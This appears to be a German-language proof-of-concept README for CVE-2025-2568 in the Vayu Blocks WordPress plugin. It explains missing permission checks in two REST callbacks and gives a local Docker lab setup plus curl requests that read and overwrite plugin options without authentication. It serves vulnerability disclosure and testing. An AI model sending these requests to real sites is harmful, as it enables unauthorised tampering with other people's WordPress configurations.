
Proof-of-Concept-Exploit für CVE-2025-2568, das unbefugten Zugriff und die Änderung von Optionen des WordPress-Plugins Vayu Blocks über fehlende Berechtigungsprüfungen demonstriert.
Das Vayu Blocks – Gutenberg Blocks Plugin für WordPress & WooCommerce ist anfällig für unautorisierten Zugriff und Modifikation von Daten, da in den Versionen 1.0.4 bis 1.2.1 fehlende Berechtigungsprüfungen in den Funktionen vayu_blocks_get_toggle_switch_values_callback und vayu_blocks_save_toggle_switch_callback vorhanden sind. Dies ermöglicht es nicht authentifizierten Angreifern, Plugin-Optionen zu lesen und beliebige Optionen mit einem Schlüsselnamen, der auf _value endet, zu aktualisieren.
cd vuln-wordpress
docker-compose up -d
cd wp-content/plugins/
unzip vayu-blocks.1.2.0.zip
curl http://localhost:8080/wp-json/vayu-blocks/v1/get-toggle-values/
curl -X POST http://localhost:8080/wp-json/vayu-blocks/v1/save-toggle-switch \
-H "Content-Type: application/json" \
-d '{"key":"container", "value":"new_value"}'